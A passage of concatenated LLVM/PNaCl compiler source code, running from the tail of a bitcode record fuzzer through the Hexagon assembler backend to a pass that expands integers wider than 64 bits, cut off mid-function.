ValueType chooseValue() {
ValueType Value = choosePositiveValue();
if (NegValueWeight.choose().Value) {
// Use two's complement negation.
Value = ~Value + 1;
}
return Value;
}
// Randomly fill in a record with record values.
void chooseRecordValues(NaClBitcodeAbbrevRecord &Record) {
Record.Abbrev = naclbitc::UNABBREV_RECORD;
Record.Code = chooseRecordCode();
Record.Values.clear();
size_t NumValues = RecordSizeWeight.chooseValue();
for (size_t i = 0; i < NumValues; ++i) {
Record.Values.push_back(chooseValue());
}
}
// Apply the given edit action to a random record.
void applyAction(EditAction Action);
// Randomly mutate a record.
void mutateRecord(NaClBitcodeAbbrevRecord &Record) {
// TODO(kschimpf) Do something smarter than just changing a value
// in the record.
size_t Index = Generator.chooseInRange(Record.Values.size() + 1);
if (Index == 0)
Record.Code = chooseRecordCode();
else
Record.Values[Index - 1] = chooseValue();
}
};
SimpleRecordFuzzer::~SimpleRecordFuzzer() {}
bool SimpleRecordFuzzer::fuzz(unsigned Count, unsigned Base) {
// TODO(kschimpf): Add some randomness in the number of actions selected.
clear();
size_t NumRecords = Bitcode.getBaseRecords().size();
size_t NumActions = NumRecords * Count / Base;
if (NumActions == 0)
NumActions = 1;
for (size_t i = 0; i < NumActions; ++i)
applyAction(chooseAction());
return true;
}
void SimpleRecordFuzzer::applyAction(EditAction Action) {
size_t Index = chooseRecordIndex();
switch(Action) {
case InsertRecord: {
NaClBitcodeAbbrevRecord Record;
chooseRecordValues(Record);
if (Generator.chooseInRange(2))
Bitcode.addBefore(Index, Record);
else
Bitcode.addAfter(Index, Record);
return;
}
case RemoveRecord:
Bitcode.remove(Index);
return;
case ReplaceRecord: {
NaClBitcodeAbbrevRecord Record;
chooseRecordValues(Record);
Bitcode.replace(Index, Record);
return;
}
case MutateRecord: {
NaClBitcodeAbbrevRecord Copy(*Bitcode.getBaseRecords()[Index]);
mutateRecord(Copy);
Bitcode.replace(Index, Copy);
return;
}
case SwapRecord: {
size_t Index2 = chooseRecordIndex();
Bitcode.replace(Index, *Bitcode.getBaseRecords()[Index2]);
Bitcode.replace(Index2, *Bitcode.getBaseRecords()[Index]);
return;
}
}
}
// Returns corresponding percentage defined by Count/Total, in a form
// that can be printed to a raw_ostream.
format_object<float> percentage(size_t Count, size_t Total) {
float percent = Total == 0.0 ? 0.0 : 100.0 * Count / Total;
return format("%1.0f", nearbyintf(percent));
}
void SimpleRecordFuzzer::showRecordDistribution(raw_ostream &Out) const {
Out << "Edit Record Distribution (Total: " << RecordCounter.getTotal()
<< "):\n";
size_t Total = RecordCounter.getTotal();
for (size_t i = 0; i < Bitcode.getBaseRecords().size(); ++i) {
size_t Count = RecordCounter[i];
Out << " " << format("%zd", i) << ": "
<< Count << " (" << percentage(Count, Total) << "%)\n";
}
}
void SimpleRecordFuzzer::showEditDistribution(raw_ostream &Out) const {
size_t TotalWeight = ActionWeight.getTotalWeight();
size_t TotalCount = ActionWeight.getTotalChooseCount();
Out << "Edit Action Distribution(Total: " << TotalCount << "):\n";
size_t ActionIndex = 0;
for (const auto &Action : ActionWeight) {
size_t ActionCount = ActionWeight.getChooseCount(ActionIndex);
Out << " " << actionName(Action.Value) << " - Wanted: "
<< percentage(Action.Weight, TotalWeight) << "%, Applied: "
<< ActionCount << " (" << percentage(ActionCount, TotalCount)
<< "%)\n";
++ActionIndex;
}
}
} // end of anonymous namespace
namespace naclfuzz {
RecordFuzzer *RecordFuzzer::createSimpleRecordFuzzer(
NaClMungedBitcode &Bitcode,
RandomNumberGenerator &Generator) {
return new SimpleRecordFuzzer(Bitcode, Generator);
}
} // end of namespace naclfuzz
<file_sep>/lib/Target/Hexagon/MCTargetDesc/HexagonAsmBackend.cpp
//===-- HexagonAsmBackend.cpp - Hexagon Assembler Backend -----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "HexagonMCTargetDesc.h"
#include "llvm/MC/MCAsmBackend.h"
#include "llvm/MC/MCELFObjectWriter.h"
using namespace llvm;
namespace {
class HexagonAsmBackend : public MCAsmBackend {
public:
HexagonAsmBackend(Target const & /*T*/) {}
unsigned getNumFixupKinds() const override { return 0; }
void applyFixup(MCFixup const & /*Fixup*/, char * /*Data*/,
unsigned /*DataSize*/, uint64_t /*Value*/,
bool /*IsPCRel*/) const override {
return;
}
bool mayNeedRelaxation(MCInst const & /*Inst*/) const override {
return false;
}
bool fixupNeedsRelaxation(MCFixup const & /*Fixup*/, uint64_t /*Value*/,
MCRelaxableFragment const * /*DF*/,
MCAsmLayout const & /*Layout*/) const override {
llvm_unreachable("fixupNeedsRelaxation() unimplemented");
}
void relaxInstruction(MCInst const & /*Inst*/,
MCInst & /*Res*/) const override {
llvm_unreachable("relaxInstruction() unimplemented");
}
bool writeNopData(uint64_t /*Count*/,
MCObjectWriter * /*OW*/) const override {
return true;
}
};
} // end anonymous namespace
namespace {
class ELFHexagonAsmBackend : public HexagonAsmBackend {
uint8_t OSABI;
public:
ELFHexagonAsmBackend(Target const &T, uint8_t OSABI)
: HexagonAsmBackend(T), OSABI(OSABI) {}
MCObjectWriter *createObjectWriter(raw_pwrite_stream &OS) const override {
StringRef CPU("HexagonV4");
return createHexagonELFObjectWriter(OS, OSABI, CPU);
}
};
} // end anonymous namespace
namespace llvm {
MCAsmBackend *createHexagonAsmBackend(Target const &T,
MCRegisterInfo const & /*MRI*/,
StringRef TT, StringRef /*CPU*/) {
uint8_t OSABI = MCELFObjectTargetWriter::getOSABI(Triple(TT).getOS());
return new ELFHexagonAsmBackend(T, OSABI);
}
}
<file_sep>/lib/Linker/CMakeLists.txt
add_llvm_library(LLVMLinker
LinkModules.cpp
ADDITIONAL_HEADER_DIRS
${LLVM_MAIN_INCLUDE_DIR}/llvm/Linker
)
<file_sep>/lib/Transforms/NaCl/ExpandLargeIntegers.cpp
//===- ExpandLargeIntegers.cpp - Expand illegal integers for PNaCl ABI ----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
// A limited set of transformations to expand illegal-sized int types.
//
//===----------------------------------------------------------------------===//
//
// Legal sizes for the purposes of expansion are anything 64 bits or less.
// Operations on large integers are split into operations on smaller-sized
// integers. The low parts should always be powers of 2, but the high parts may
// not be. A subsequent pass can promote those. For now this pass only intends
// to support the uses generated by clang, which is basically just for large
// bitfields.
//
// Limitations:
// 1) It can't change function signatures or global variables.
// 3) Doesn't support mul, div/rem, switch.
// 4) Doesn't handle arrays or structs (or GEPs) with illegal types.
// 5) Doesn't handle constant expressions (it also doesn't produce them, so it
// can run after ExpandConstantExpr).
//
//===----------------------------------------------------------------------===//
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/PostOrderIterator.h"
#include "llvm/ADT/STLExtras.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/IR/CFG.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instructions.h"
#include "llvm/Pass.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
#define DEBUG_TYPE "nacl-expand-ints"
// Break instructions up into no larger than 64-bit chunks.
static const unsigned kChunkBits = 64;
static const unsigned kChunkBytes = kChunkBits / CHAR_BIT;
namespace {
class ExpandLargeIntegers : public FunctionPass {
public:
static char ID;
ExpandLargeIntegers() : FunctionPass(ID) {
initializeExpandLargeIntegersPass(*PassRegistry::getPassRegistry());
}
bool runOnFunction(Function &F) override;
};
template <typename T> struct LoHiPair {
T Lo, Hi;
LoHiPair() : Lo(), Hi() {}
LoHiPair(T Lo, T Hi) : Lo(Lo), Hi(Hi) {}
};
template <typename T> struct LoHiBitTriple {
T Lo, Hi, Bit;
LoHiBitTriple() : Lo(), Hi(), Bit() {}
LoHiBitTriple(T Lo, T Hi, T Bit) : Lo(Lo), Hi(Hi), Bit(Bit) {}
};
typedef LoHiPair<IntegerType *> TypePair;
typedef LoHiPair<Value *> ValuePair;
typedef LoHiPair<unsigned> AlignPair;
typedef LoHiBitTriple<Value *> ValueTriple;
// Information needed to patch a phi node which forward-references a value.
struct ForwardPHI {
Value *Val;
PHINode *Lo, *Hi;
unsigned ValueNumber;
ForwardPHI(Value *Val, PHINode *Lo, PHINode *Hi, unsigned ValueNumber)
: Val(Val), Lo(Lo), Hi(Hi), ValueNumber(ValueNumber) {}
};
}
char ExpandLargeIntegers::ID = 0;
INITIALIZE_PASS(ExpandLargeIntegers, "nacl-expand-ints",
"Expand integer types that are illegal in PNaCl", false, false)
#define DIE_IF(COND, VAL, MSG) \
do { \
if (COND) { \
errs() << "Unsupported: " << *(VAL) << '\n'; \
report_fatal_error( \
MSG " not yet supported for integer types larger than 64 bits"); \
} \
} while (0)
static bool isLegalBitSize(unsigned Bits) {
assert(Bits && "Can't have zero-size integers");
return Bits <= kChunkBits;
}
static TypePair getExpandedIntTypes(const Type *Ty) {
unsigned BitWidth = Ty->getIntegerBitWidth();
assert(!isLegalBitSize(BitWidth));
return {IntegerType::get(Ty->getContext(), kChunkBits),
IntegerType::get(Ty->getContext(), BitWidth - kChunkBits)};
}
static bool shouldConvert(const Type *Ty) {
if (const IntegerType *ITy = dyn_cast<IntegerType>(Ty))
return !isLegalBitSize(ITy->getBitWidth());
return false;
}
// Return true if Val is an int which should be converted.
static bool shouldConvert(const Value *Val) {
return shouldConvert(Val->getType());
}
// Return a pair of constants expanded from C.
static ValuePair expandConstant(Constant *C) {
assert(shouldConvert(C));
TypePair ExpandedTypes = getExpandedIntTypes(C->getType());
if (isa<UndefValue>(C)) {
return {UndefValue::get(ExpandedTypes.Lo),
UndefValue::get(ExpandedTypes.Hi)};
} else if (ConstantInt *CInt = dyn_cast<ConstantInt>(C)) {
Constant *ShiftAmt = ConstantInt::get(
CInt->getType(), ExpandedTypes.Lo->getBitWidth(), false);
return {ConstantExpr::getTrunc(CInt, ExpandedTypes.Lo),
ConstantExpr::getTrunc(ConstantExpr::getLShr(CInt, ShiftAmt),
ExpandedTypes.Hi)};
}
DIE_IF(true, C, "Constant value");
}
template <typename T>
static AlignPair getAlign(const DataLayout &DL, T *I, Type *PrefAlignTy) {
unsigned LoAlign = I->getAlignment();
if (LoAlign == 0)
LoAlign = DL.getPrefTypeAlignment(PrefAlignTy);
unsigned HiAlign = MinAlign(LoAlign, kChunkBytes);
return {LoAlign, HiAlign};
}
static ValuePair createBit(IRBuilder<> *IRB, const BinaryOperator *Binop,
const ValuePair &Lhs, const ValuePair &Rhs,
const TypePair &Tys, const StringRef &Name) {
auto Op = Binop->getOpcode();
Value *Lo = IRB->CreateBinOp(Op, Lhs.Lo, Rhs.Lo, Twine(Name, ".lo"));
Value *Hi = IRB->CreateBinOp(Op, Lhs.Hi, Rhs.Hi, Twine(Name, ".hi"));
return {Lo, Hi};
}
static ValuePair createShl(IRBuilder<> *IRB, const BinaryOperator *Binop,
const ValuePair &Lhs, const ValuePair &Rhs,
const TypePair &Tys, const StringRef &Name) {
ConstantInt *ShlAmount = dyn_cast<ConstantInt>(Rhs.Lo);
// TODO(dschuff): Expansion of variable-sized shifts isn't supported
// because the behavior depends on whether the shift amount is less than
// the size of the low part of the expanded type, and I haven't yet
// figured out a way to do it for variable-sized shifts without splitting
// the basic block. I don't believe it's actually necessary for
// bitfields. Likewise for LShr below.
DIE_IF(!ShlAmount, Binop, "Expansion of variable-sized shifts");
unsigned ShiftAmount = ShlAmount->getZExtValue();
if (ShiftAmount >= Binop->getType()->getIntegerBitWidth())
ShiftAmount = 0; // Undefined behavior.
unsigned HiBits = Tys.Hi->getIntegerBitWidth();
// |<------------Hi---------->|<-------Lo------>|
// | | |
// +--------+--------+--------+--------+--------+
// |abcdefghijklmnopqrstuvwxyz|ABCDEFGHIJKLMNOPQ|
// +--------+--------+--------+--------+--------+
// Possible shifts:
// |efghijklmnopqrstuvwxyzABCD|EFGHIJKLMNOPQ0000| Some Lo into Hi.
// |vwxyzABCDEFGHIJKLMNOPQ0000|00000000000000000| Lo is 0, keep some Hi.
// |DEFGHIJKLMNOPQ000000000000|00000000000000000| Lo is 0, no Hi left.
Value *Lo, *Hi;
if (ShiftAmount < kChunkBits) {
Lo = IRB->CreateShl(Lhs.Lo, ShiftAmount, Twine(Name, ".lo"));
Hi =
IRB->CreateZExtOrTrunc(IRB->CreateLShr(Lhs.Lo, kChunkBits - ShiftAmount,
Twine(Name, ".lo.shr")),
Tys.Hi, Twine(Name, ".lo.ext"));
} else {
Lo = ConstantInt::get(Tys.Lo, 0);
Hi = IRB->CreateShl(
IRB->CreateZExtOrTrunc(Lhs.Lo, Tys.Hi, Twine(Name, ".lo.ext")),
ShiftAmount - kChunkBits, Twine(Name, ".lo.shl"));
}
if (ShiftAmount < HiBits)
Hi = IRB->CreateOr(
Hi, IRB->CreateShl(Lhs.Hi, ShiftAmount, Twine(Name, ".hi.shl")),
Twine(Name, ".or"));
return {Lo, Hi};
}
static ValuePair createShr(IRBuilder<> *IRB, const BinaryOperator *Binop,
const ValuePair &Lhs, const ValuePair &Rhs,
const TypePair &Tys, const StringRef &Name) {
auto Op = Binop->getOpcode();
ConstantInt *ShrAmount = dyn_cast<ConstantInt>(Rhs.Lo);
// TODO(dschuff): Expansion of variable-sized shifts isn't supported
// because the behavior depends on whether the shift amount is less than
// the size of the low part of the expanded type, and I haven't yet
// figured out a way to do it for variable-sized shifts without splitting
// the basic block. I don't believe it's actually necessary for bitfields.
DIE_IF(!ShrAmount, Binop, "Expansion of variable-sized shifts");
bool IsArith = Op == Instruction::AShr;
unsigned ShiftAmount = ShrAmount->getZExtValue();
if (ShiftAmount >= Binop->getType()->getIntegerBitWidth())
ShiftAmount = 0; // Undefined behavior.
unsigned HiBitWidth = Tys.Hi->getIntegerBitWidth();
// |<--Hi-->|<-------Lo------>|
// | | |
// +--------+--------+--------+
// |abcdefgh|ABCDEFGHIJKLMNOPQ|
// +--------+--------+--------+
// Possible shifts (0 is sign when doing AShr):
// |0000abcd|defgABCDEFGHIJKLM| Some Hi into Lo.
// |00000000|00abcdefgABCDEFGH| Hi is 0, keep some Lo.
// |00000000|000000000000abcde| Hi is 0, no Lo left.
Value *Lo, *Hi;
if (ShiftAmount < kChunkBits) {
Lo = IRB->CreateShl(
IsArith
? IRB->CreateSExtOrTrunc(Lhs.Hi, Tys.Lo, Twine(Name, ".hi.ext"))
: IRB->CreateZExtOrTrunc(Lhs.Hi, Tys.Lo, Twine(Name, ".hi.ext")),
kChunkBits - ShiftAmount, Twine(Name, ".hi.shl"));
Lo = IRB->CreateOr(
Lo, IRB->CreateLShr(Lhs.Lo, ShiftAmount, Twine(Name, ".lo.shr")),
Twine(Name, ".lo"));
} else {
Lo = IRB->CreateBinOp(Op, Lhs.Hi,
ConstantInt::get(Tys.Hi, ShiftAmount - kChunkBits),
Twine(Name, ".hi.shr"));
Lo = IsArith ? IRB->CreateSExtOrTrunc(Lo, Tys.Lo, Twine(Name, ".lo.ext"))
: IRB->CreateZExtOrTrunc(Lo, Tys.Lo, Twine(Name, ".lo.ext"));
}
if (ShiftAmount < HiBitWidth) {
Hi = IRB->CreateBinOp(Op, Lhs.Hi, ConstantInt::get(Tys.Hi, ShiftAmount),
Twine(Name, ".hi"));
} else {
Hi = IsArith ? IRB->CreateAShr(Lhs.Hi, HiBitWidth - 1, Twine(Name, ".hi"))
: ConstantInt::get(Tys.Hi, 0);
}
return {Lo, Hi};
}
static Value *createCarry(IRBuilder<> *IRB, Value *Lhs, Value *Rhs,
Value *Added, Type *Ty, const StringRef &Name) {
return IRB->CreateZExt(
IRB->CreateICmpULT(
Added,
IRB->CreateSelect(IRB->CreateICmpULT(Lhs, Rhs, Twine(Name, ".cmp")),
Rhs, Lhs, Twine(Name, ".limit")),
Twine(Name, ".overflowed")),
Ty, Twine(Name, ".carry"));
}
static ValueTriple createAdd(IRBuilder<> *IRB, const ValuePair &Lhs,
const ValuePair &Rhs, const TypePair &Tys,
const StringRef &Name, Type *HiCarryTy) {
auto Op = Instruction::Add;
// Don't propagate NUW/NSW to the lo operation: it can overflow.
Value *Lo = IRB->CreateBinOp(Op, Lhs.Lo, Rhs.Lo, Twine(Name, ".lo"));
Value *LoCarry = createCarry(IRB, Lhs.Lo, Rhs.Lo, Lo, Tys.Hi, Name);
// TODO(jfb) The hi operation could be tagged with NUW/NSW.
Value *HiAdd = IRB->CreateBinOp(Op, Lhs.Hi, Rhs.Hi, Twine(Name, ".hi"));
Value *Hi = IRB->CreateBinOp(Op, HiAdd, LoCarry, Twine(Name, ".carried"));
Value *HiCarry = HiCarryTy
? createCarry(IRB, Lhs.Hi, Rhs.Hi, Hi, HiCarryTy, Name)
: nullptr;
return {Lo, Hi, HiCarry};
}
static ValuePair createSub(IRBuilder<> *IRB, const ValuePair &Lhs,
const ValuePair &Rhs, const TypePair &Tys,
const StringRef &Name) {
auto Op = Instruction::Sub;
Value *Borrowed = IRB->CreateSExt(
IRB->CreateICmpULT(Lhs.Lo, Rhs.Lo, Twine(Name, ".borrow")), Tys.Hi,
Twine(Name, ".borrowing"));
Value *Lo = IRB->CreateBinOp(Op, Lhs.Lo, Rhs.Lo, Twine(Name, ".lo"));
Value *Hi =
IRB->CreateBinOp(Instruction::Add,
IRB->CreateBinOp(Op, Lhs.Hi, Rhs.Hi, Twine(Name, ".hi")),
Borrowed, Twine(Name, ".borrowed"));
return {Lo, Hi};
}
static Value *createICmpEquality(IRBuilder<> *IRB, CmpInst::Predicate Pred,
const ValuePair &Lhs, const ValuePair &Rhs,
const StringRef &Name) {
assert(Pred == CmpInst::ICMP_EQ || Pred == CmpInst::ICMP_NE);
Value *Lo = IRB->CreateICmp(Pred, Lhs.Lo, Rhs.Lo, Twine(Name, ".lo"));
Value *Hi = IRB->CreateICmp(Pred, Lhs.Hi, Rhs.Hi, Twine(Name, ".hi"));
return IRB->CreateBinOp(
Instruction::And, Lo, Hi,
Twine(Name, Pred == CmpInst::ICMP_EQ ? ".eq" : ".ne"));
}
static Value *createICmp(IRBuilder<> *IRB, const ICmpInst *ICmp,
const ValuePair &Lhs, const ValuePair &Rhs,
const TypePair &Tys, const StringRef &Name) {
auto Pred = ICmp->getPredicate();
switch (Pred) {
case CmpInst::ICMP_EQ:
case CmpInst::ICMP_NE:
return createICmpEquality(IRB, ICmp->getPredicate(), Lhs, Rhs, Name);
case CmpInst::ICMP_UGT: // C == 1 and Z == 0
case CmpInst::ICMP_UGE: // C == 1
case CmpInst::ICMP_ULT: // C == 0 and Z == 0
case CmpInst::ICMP_ULE: // C == 0
{
Value *Carry = createAdd(IRB, Lhs, Rhs, Tys, Name, ICmp->getType()).Bit;
if (Pred == CmpInst::ICMP_ULT || Pred == CmpInst::ICMP_ULE)
Carry = IRB->CreateNot(Carry, Name);
if (Pred == CmpInst::ICMP_UGT || Pred == CmpInst::ICMP_ULT)
Carry = IRB->CreateBinOp(
Instruction::And, Carry,
createICmpEquality(IRB, CmpInst::ICMP_EQ, Lhs, Rhs, Name), Name);
return Carry;
}
case CmpInst::ICMP_SGT: // N == V and Z == 0
case CmpInst::ICMP_SGE: // N == V
case CmpInst::ICMP_SLT: // N != V
case CmpInst::ICMP_SLE: // N != V or Z == 1
DIE_IF(true, ICmp, "Signed comparisons");
default:
llvm_unreachable("Invalid integer comparison");
}
}
static ValuePair createLoad(IRBuilder<> *IRB, const DataLayout &DL,
LoadInst *Load) {
DIE_IF(!Load->isSimple(), Load, "Volatile and atomic loads");
Value *Op = Load->getPointerOperand();
TypePair Tys = getExpandedIntTypes(Load->getType());
AlignPair Align = getAlign(DL, Load, Load->getType());
Value *Loty = IRB->CreateBitCast(Op, Tys.Lo->getPointerTo(),
Twine(Op->getName(), ".loty"));
Value *Lo =
IRB->CreateAlignedLoad(Loty, Align.Lo, Twine(Load->getName(), ".lo"));
Value *HiAddr =
IRB->CreateConstGEP1_32(Loty, 1, Twine(Op->getName(), ".hi.gep"));
Value *HiTy = IRB->CreateBitCast(HiAddr, Tys.Hi->getPointerTo(),
Twine(Op->getName(), ".hity"));
Value *Hi =
IRB->CreateAlignedLoad(HiTy, Align.Hi, Twine(Load->getName(), ".hi"));
return {Lo, Hi};
}
static ValuePair createStore(IRBuilder<> *IRB, const DataLayout &DL,
StoreInst *Store, const ValuePair &StoreVals) {
DIE_IF(!Store->isSimple(), Store, "Volatile and atomic stores");
Value *Ptr = Store->getPointerOperand();
TypePair Tys = getExpandedIntTypes(Store->getValueOperand()->getType());
AlignPair Align = getAlign(DL, Store, Store->getValueOperand()->getType());
Value *Loty = IRB->CreateBitCast(Ptr, Tys.Lo->getPointerTo(),
Twine(Ptr->getName(), ".loty"));
Value *Lo = IRB->CreateAlignedStore(StoreVals.Lo, Loty, Align.Lo);
Value *HiAddr =
IRB->CreateConstGEP1_32(Loty, 1, Twine(Ptr->getName(), ".hi.gep"));
Value *HiTy = IRB->CreateBitCast(HiAddr, Tys.Hi->getPointerTo(),
Twine(Ptr->getName(), ".hity"));
Value *Hi = IRB->CreateAlignedStore(StoreVals.Hi, HiTy, Align.Hi);
return {Lo, Hi};
}
namespace {
// Holds the state for converting/replacing values. We visit instructions in
// reverse post-order, phis are therefore the only instructions which can be
// visited before the value they use.
class ConversionState {
public:
// Return the expanded values for Val.
ValuePair getConverted(Value *Val) {
assert(shouldConvert(Val));
// Directly convert constants.
if (Constant *C = dyn_cast<Constant>(Val))
return expandConstant(C);
if (RewrittenIllegals.count(Val)) {
ValuePair Found = RewrittenIllegals[Val];
if (RewrittenLegals.count(Found.Lo))
Found.Lo = RewrittenLegals[Found.Lo];
if (RewrittenLegals.count(Found.Hi))
Found.Hi = RewrittenLegals[Found.Hi];
return Found;
}
errs() << "Value: " << *Val << "\n";
report_fatal_error("Expanded value not found in map");
}
// Returns whether a converted value has been recorded. This is only useful
// for phi instructions: they can be encountered before the incoming
// instruction, whereas RPO order guarantees that other instructions always
// use converted values.
bool hasConverted(Value *Val) {
assert(shouldConvert(Val));
return dyn_cast<Constant>(Val) || RewrittenIllegals.count(Val);
}
// Record a forward phi, temporarily setting it to use Undef. This will be
// patched up at the end of RPO.
ValuePair recordForwardPHI(Value *Val, PHINode *Lo, PHINode *Hi,
unsigned ValueNumber) {
DEBUG(dbgs() << "\tRecording as forward PHI\n");
ForwardPHIs.push_back(ForwardPHI(Val, Lo, Hi, ValueNumber));
return {UndefValue::get(Lo->getType()), UndefValue::get(Hi->getType())};
}
void recordConverted(Instruction *From, const ValuePair &To) {
DEBUG(dbgs() << "\tTo: " << *To.Lo << "\n");
DEBUG(dbgs() << "\tAnd: " << *To.Hi << "\n");
ToErase.push_back(From);
RewrittenIllegals[From] = To;
}
// Replace the uses of From with To, give From's name to To, and mark To for
// deletion.
void recordConverted(Instruction *From, Value *To) {
assert(!shouldConvert(From));
DEBUG(dbgs() << "\tTo: " << *To << "\n");
ToErase.push_back(From);
// From does not produce an illegal value, update its users in place.
From->replaceAllUsesWith(To);
To->takeName(From);
RewrittenLegals[From] = To;
}
void patchForwardPHIs() {
DEBUG(if (!ForwardPHIs.empty()) dbgs() << "Patching forward PHIs:\n");
for (ForwardPHI &F : ForwardPHIs) {
ValuePair Ops = getConverted(F.Val);
F.Lo->setIncomingValue(F.ValueNumber, Ops.Lo);
F.Hi->setIncomingValue(F.ValueNumber, Ops.Hi);
DEBUG(dbgs() << "\t" << *F.Lo << "\n\t" << *F.Hi << "\n");
}
}
void eraseReplacedInstructions() {
for (Instruction *I : ToErase)
I->dropAllReferences();
for (Instruction *I : ToErase)
I->eraseFromParent();
}
private:
// Maps illegal values to their new converted lo/hi values.
DenseMap<Value *, ValuePair> RewrittenIllegals;
// Maps legal values to their new converted value.
DenseMap<Value *, Value *> RewrittenLegals;
// Illegal values which have already been converted, will be erased.
SmallVector<Instruction *, 32> ToErase;
// PHIs which were encountered but had forward references. They need to get
// patched up after RPO traversal.
SmallVector<ForwardPHI, 32> ForwardPHIs;
};
} // Anonymous namespace
static void convertInstruction(Instruction *Inst, ConversionState &State,
const DataLayout &DL) {
DEBUG(dbgs() << "Expanding Large Integer: " << *Inst << "\n");
// Set the insert point *after* Inst, so that any instructions inserted here
// will be visited again. That allows iterative expansion of types > i128.
BasicBlock::iterator InsertPos(Inst);
IRBuilder<> IRB(++InsertPos);
StringRef Name = Inst->getName();
if (PHINode *Phi = dyn_cast<PHINode>(Inst)) {
unsigned N = Phi->getNumIncomingValues();
TypePair OpTys = getExpandedIntTypes(Phi->getIncomingValue(0)->getType());
PHINode *Lo = IRB.CreatePHI(OpTys.Lo, N, Twine(Name + ".lo"));
PHINode *Hi = IRB.CreatePHI(OpTys.Hi, N, Twine(Name + ".hi"));
for (unsigned I = 0; I != N; ++I) {
Value *InVal = Phi->getIncomingValue(I);
BasicBlock *InBB = Phi->getIncomingBlock(I);
// If the value hasn't already been converted then this is a
// forward-reference PHI which needs to be patched up after RPO traversal.
ValuePair Ops = State.hasConverted(InVal)
? State.getConverted(InVal)
: State.recordForwardPHI(InVal, Lo, Hi, I);
Lo->addIncoming(Ops.Lo, InBB);
Hi->addIncoming(Ops.Hi, InBB);
}
State.recordConverted(Phi, {Lo, Hi});
} else if (ZExtInst *ZExt = dyn_cast<ZExtInst>(Inst)) {
Value *Operand = ZExt->getOperand(0);
Type *OpTy = Operand->getType();
TypePair Tys = getExpandedIntTypes(Inst->getType());
Value *Lo, *Hi;
if (OpTy->getIntegerBitWidth() <= kChunkBits) {
Lo = IRB.CreateZExt(Operand, Tys.Lo, Twine(Name, ".lo"));
Hi = ConstantInt::get(Tys.Hi, 0);
} else {
ValuePair Ops = State.getConverted(Operand);
Lo = Ops.Lo;
Hi = IRB.CreateZExt(Ops.Hi, Tys.Hi, Twine(Name, ".hi"));
}
State.recordConverted(ZExt, {Lo, Hi});
} else if (TruncInst *Trunc = dyn_cast<TruncInst>(Inst)) {
Value *Operand = Trunc->getOperand(0);
assert(shouldConvert(Operand) && "TruncInst is expandable but not its op");
ValuePair Ops = State.getConverted(Operand);
if (!shouldConvert(Inst)) {
Value *NewInst = IRB.CreateTrunc(Ops.Lo, Trunc->getType(), Name);
State.recordConverted(Trunc, NewInst);
} else {
TypePair Tys = getExpandedIntTypes(Trunc->getType());
assert(Tys.Lo == getExpandedIntTypes(Operand->getType()).Lo);
Value *Lo = Ops.Lo;
Value *Hi = IRB.CreateTrunc(Ops.Hi, Tys.Hi, Twine(Name, ".hi"));
State.recordConverted(Trunc, {Lo, Hi});
}
} else if (BinaryOperator *Binop = dyn_cast<BinaryOperator>(Inst)) {
ValuePair Lhs = State.getConverted(Binop->getOperand(0));
ValuePair Rhs = State.getConverted(Binop->getOperand(1));
TypePair Tys = getExpandedIntTypes(Binop->getType());
ValuePair Conv;
switch (Binop->getOpcode()) {
case Instruction::And:
case Instruction::Or:
case Instruction::Xor:
Conv = createBit(&IRB, Binop, Lhs, Rhs, Tys, Name);
break;
case Instruction::Shl:
Conv = createShl(&IRB, Binop, Lhs, Rhs, Tys, Name);
break;
case Instruction::AShr:
case Instruction::LShr:
Conv = createShr(&IRB, Binop, Lhs, Rhs, Tys, Name);
break;
case Instruction::Add: {
ValueTriple VT =
createAdd(&IRB, Lhs, Rhs, Tys, Name, /*HiCarryTy=*/nullptr);
Conv = {VT.Lo, VT.Hi}; // Ignore Hi carry.
} break;
case Instruction::Sub:
Conv = createSub(&IRB, Lhs, Rhs, Tys, Name);
break;
default:
DIE_IF(true, Binop, "Binary operator type");
}
State.recordConverted(Binop, Conv);
} else if (ICmpInst *ICmp = dyn_cast<ICmpInst>(Inst)) {
ValuePair Lhs = State.getConverted(ICmp->getOperand(0));
ValuePair Rhs = State.getConverted(ICmp->getOperand(1));
TypePair Tys = getExpandedIntTypes(ICmp->getOperand(0)->getType());
State.recordConverted(ICmp, createICmp(&IRB, ICmp, Lhs, Rhs, Tys, Name));
} else if (LoadInst *Load = dyn_cast<LoadInst>(Inst)) {
State.recordConverted(Load, createLoad(&IRB, DL, Load));
} else if (StoreInst *Store = dyn_cast<StoreInst>(Inst)) {
ValuePair StoreVals = State.getConverted(Store->getValueOperand());
State.recordConverted(Store, createStore(&IRB, DL, Store, StoreVals));
} else if (SelectInst *Select = dyn_cast<SelectInst>(Inst)) {
Value *Cond = Select->getCondition();
ValuePair True = State.getConverted(Select->getTrueValue());
ValuePair False = State.getConverted(Select->getFalseValue());
Value *Lo = IRB.CreateSelect(Cond, True.Lo, False.Lo, Twine(Name, ".lo"));
Value *Hi = IRB.CreateSelect(Cond, True.Hi, False.Hi, Twine(Name, ".hi"));
State.recordConverted(Select, {Lo, Hi});
} else {
DIE_IF(true, Inst, "Instruction");
}
}
bool ExpandLargeIntegers::runOnFunction(Function &F) {
// Don't support changing the function arguments. Illegal function arguments
// should not be generated by clang.
for (const Argument &Arg : F.args())
if (shouldConvert(&Arg))
report_fatal_error("Function " + F.getName() +
" has illegal integer argument");
if (shouldConvert(F.getReturnType())) {
report_fatal_error("Function " + F.getName() +
" has illegal integer return");
}
// TODO(jfb) This should loop to handle nested forward PHIs.
ConversionState State;
DataLayout DL(F.getParent());
bool Modified = false;
ReversePostOrderTraversal<Function *> RPOT(&F);
for (ReversePostOrderTraversal<Function *>::rpo_iterator FI = RPOT.begin(),
FE = RPOT.end();
FI != FE; ++FI) {
BasicBlock *BB = *FI;
for (Instruction &I : *BB) {
// Only attempt to convert an instruction if its result or any of its
// operands are illegal.
bool ShouldConvert = shouldConvert(&I);
for (Value *Op : I.operands())
ShouldConvert |= shouldConvert(Op);
if (ShouldConvert) {
